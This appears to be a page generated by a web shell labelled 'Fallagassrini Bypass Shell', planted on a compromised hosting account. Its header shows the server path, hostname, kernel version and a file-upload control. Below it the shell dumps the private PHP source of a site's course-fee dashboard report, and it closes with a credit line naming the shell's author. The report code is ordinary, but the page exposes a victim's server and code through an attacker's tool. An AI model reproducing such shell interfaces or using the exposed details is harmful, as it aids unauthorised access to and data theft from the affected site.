? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sec_old/application/views/report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sec_old/application/views/report/xls_business_dashboard_report.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');

if ($view != 'view') 
{
    $border = "";
    ?>
    <html>
        <head>
        </head>
            <body>
                <table width="100%" >
                    <tr><td colspan="2"></td><td align="right"><img src="<?= base_url() ?>/assets/images/logo.gif" style="float:right;width:180px;"/></td>
                    <tr><td colspan="3" style="font-size:16px;" align="center"><b><u><?= $postdata['report_name'] ?></u></b></td></tr>
                    <tr><td colspan="3">Printout Date : <?= date('d-m-Y'); ?>,<?=  date('h:i:s a'); ?></td></tr>
                </table>
                <br>
                <br>
                <hr>
    <?php
} 
        else 
        {
            ?>
            <link rel='stylesheet' media='all' type='text/css' href="<?= base_url() ?>/assets/css/tablesort.css"/>
            <div style='width: 100%;border:1px solid #e4e4e4;padding:2px; height: auto;overflow-x: scroll;'>
            <?
        }
        if ($view != 'xls') 
        {
            $border = "border='1'";
        }
        ?>
        <table <?= $border ?>  cellspacing="0px" class="sort" cellpading="5px"  style="width:95%;text-align:left" >
            <thead>
                <tr><th style="text-align:left" bgcolor="#7FCEFF">Sl No</th>
                    <th style="text-align:left" bgcolor="#7FCEFF">Course</th>
                     <th style="text-align:left" bgcolor="#7FCEFF">Batch Code</th>
                    <th style="text-align:left" bgcolor="#7FCEFF">Teacher</th>
                    <th style="text-align:left" bgcolor="#7FCEFF">Total Students</th>
                    <th style="text-align:center" bgcolor="#7FCEFF" colspan=4>Total Course Fee</th>
                </tr>
                <tr><th style="text-align:left" bgcolor="#7FCEFF" colspan=5 ></th>
                    <th style="text-align:left" bgcolor="#7FCEFF">Reg Fee </th>
                    <th style="text-align:left" bgcolor="#7FCEFF">Course Fee </th>
                    <th style="text-align:left" bgcolor="#7FCEFF">Extra Class </th>
                    <th style="text-align:left" bgcolor="#7FCEFF">Books</th>
                </tr>
            </thead>
            <tbody>
                <?php
                    $sl = 1;
                    $i = 1;
                    $j = 1;
//$rowspan = "";

                    $g_total_student = 0;
                    $g_total_reg = 0;
                    $g_total_course = 0;
                    $g_total_book = 0;
                    $g_total_extra = 0;
                    $date = date("d-m-Y");
                    $total_student = 0;
                    $total_reg_fee = 0;
                    $total_course_fee = 0;
                    $total_extra_fee = 0;
                    $total_books_fee = 0;
                    
                    $row_course = '';

                    $rowspan = 0;


                    $row_course = "";
                    $main_course_id_1 = "";
                    $flag = false;
                    
                    $teacher_summary = array();
                    
                    foreach ($report['result'] as $course) {
                        
                        $extra_class_fee = $this->mastermodel->get_data_joined('extra_class', 'extra_class_details', 'extra_class_id', 'extra_class_id', $course['batch'], 'batch_id');
                        $extra_fee = 0;
                        if (sizeof($extra_class_fee) > 0) {

                            foreach ($extra_class_fee as $row) {

                                $extra_fee+=$row['extra_fee_amount'];
                            }
                        }
                      
                          
                        $rowspan++;
                        
                        if($main_course_id_1 != $course['main_course_id'])
                        {
                            if($flag)
                            {
                                
                                foreach ($teacher_summary as $tsummary)
                                {
                                    ?>
                                       <tr>
                                            <td style="text-align: center;" colspan="4"><strong><?= $tsummary['teacher']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['student']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['reg_fee']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['course_fee_total']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['extra_fee']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['books_fee']?></strong></td>
                                            
                                        </tr> 
                                    <?php
                                }
                                
                                $teacher_summary = array();
                                
                                
                               ?>
                                <tr style="background-color: #E0E0D1;font-size: 15px;">
                                    <td style="text-align: center;" colspan="4" bgcolor="#E0E0D1"><strong><?= $main_course_name?></strong></td>
                                    <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_student?></strong></td>
                                    <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_reg_fee?></strong></td>
                                    <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_course_fee?></strong></td>
                                    <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_extra_fee?></strong></td>
                                    <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_books_fee?></strong></td>
                                </tr>
                                <?php
                                $g_total_student += $total_student;
                                $g_total_reg += $total_reg_fee;
                                $g_total_course += $total_course_fee;
                                $g_total_extra += $total_extra_fee;
                                $g_total_book += $total_books_fee;
                                $total_student = 0;
                                $total_reg_fee = 0;
                                $total_course_fee = 0;
                                $total_extra_fee = 0;
                                $total_books_fee = 0;
                            }
                            $flag = true;
                        }
                        $main_course_name = $course['main_course_name'];
                        
                        ?>
                        <tr>
                            <?php if ($row_course != $course['course_id']) { ?>
                                <td rowspan=<?= $report[$course['course_id']] ?>> <?=$i++ ?></td>
                                <td rowspan=<?= $report[$course['course_id']] ?>><?= $course['course_name'] ?> </td>
                                <?php
                            }
                            ?>
                            <td style="text-align:right"><?= $course['batch_no'] ?></td> 
                            <td><?=  $course['employee_name'] ?></td>
                            <td style="text-align:right"><?= $course['student_count1'] ?></td>
                            <td style="text-align:right"><?= $course['registration_fee'] ?></td>
                            <td style="text-align:right"><?= $course['course_fee_total'] ?></td>
                            <td style="text-align:right"><?= $extra_fee ?></td>
                            <td style="text-align:right"><?= $course['books_fee'] ?></td>

                        </tr>
                        <?php
                       
                        $main_course_id_1 = $course['main_course_id'];
                        $total_reg_fee+=$course['registration_fee'];
                        $total_course_fee+=$course['course_fee_total'];
                        $total_extra_fee+=$extra_fee;
                        $total_books_fee+=$course['books_fee'];

                       
                        
                        $tmpname = $course['employee_name'];
                        if(array_key_exists($tmpname,$teacher_summary))
                        {
                            $teacher_summary[$tmpname]['reg_fee']  += $course['registration_fee'];
                            $teacher_summary[$tmpname]['course_fee_total']  += $course['course_fee_total'];
                            $teacher_summary[$tmpname]['extra_fee']  += $extra_fee;
                            $teacher_summary[$tmpname]['books_fee']  += $course['books_fee'];
                            $teacher_summary[$tmpname]['student']  += $course['student_count1'];
                        }
                        else
                        {
                            
                            $teacher_summary[$tmpname]['teacher'] = $tmpname;
                            $teacher_summary[$tmpname]['reg_fee']  = $course['registration_fee'];
                            $teacher_summary[$tmpname]['course_fee_total']  = $course['course_fee_total'];
                            $teacher_summary[$tmpname]['extra_fee']  = $extra_fee;
                            $teacher_summary[$tmpname]['books_fee']  = $course['books_fee'];
                            $teacher_summary[$tmpname]['student']  = $course['student_count1'];
                        }
                        

                       
                        $row_course = $course['course_id'];
                        $total_student+=$course['student_count1'];
                        
                    }
                    
                    foreach ($teacher_summary as $tsummary)
                                {
                                    ?>
                                       <tr>
                                            <td style="text-align: center;" colspan="4"><strong><?= $tsummary['teacher']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['student']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['reg_fee']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['course_fee_total']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['extra_fee']?></strong></td>
                                            <td style="text-align: right"><strong><?= $tsummary['books_fee']?></strong></td>
                                            
                                        </tr> 
                                    <?php
                                }
                    
                    
                    ?>
                        <tr style="background-color: #E0E0D1;font-size: 15px;" >
                            
                        <td style="text-align: center;font-size: 15px" colspan="4" bgcolor="#E0E0D1"><strong><?= $main_course_name?></strong></td>
                        
                        <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_student?></strong></td>
                        <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_reg_fee?></strong></td>
                        <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_course_fee?></strong></td>
                        <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_extra_fee?></strong></td>
                        <td style="text-align: right" bgcolor="#E0E0D1"><strong><?= $total_books_fee?></strong></td>
                    </tr>
                    <?php
                    $g_total_student += $total_student;
                    $g_total_reg += $total_reg_fee;
                    $g_total_course += $total_course_fee;
                    $g_total_extra += $total_extra_fee;
                    $g_total_book += $total_books_fee;
                    ?>

                    <tr><td colspan=4 style="text-align:center; font-size: 15px" ><strong>Grand Total </strong></td>
                        <td style="text-align:right"><strong><?= $g_total_student ?></strong></td>
                        <td style="text-align:right"><strong><?= $g_total_reg ?></strong></td>
                        <td style="text-align:right" ><strong><?= $g_total_course ?></strong></td>
                        <td style="text-align:right"><strong><?= $g_total_extra ?></strong></td>
                        <td style="text-align:right" ><strong><?= $g_total_book ?></strong></td>


                    </tr>
                </tbody></table>
            <hr>
            <?php
            if ($view != 'view') 
            {
                ?>
                    </body></html>
                <?php 
            }
            else
            {
                ?>
                    </div>
            
                <?php
            }
        ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net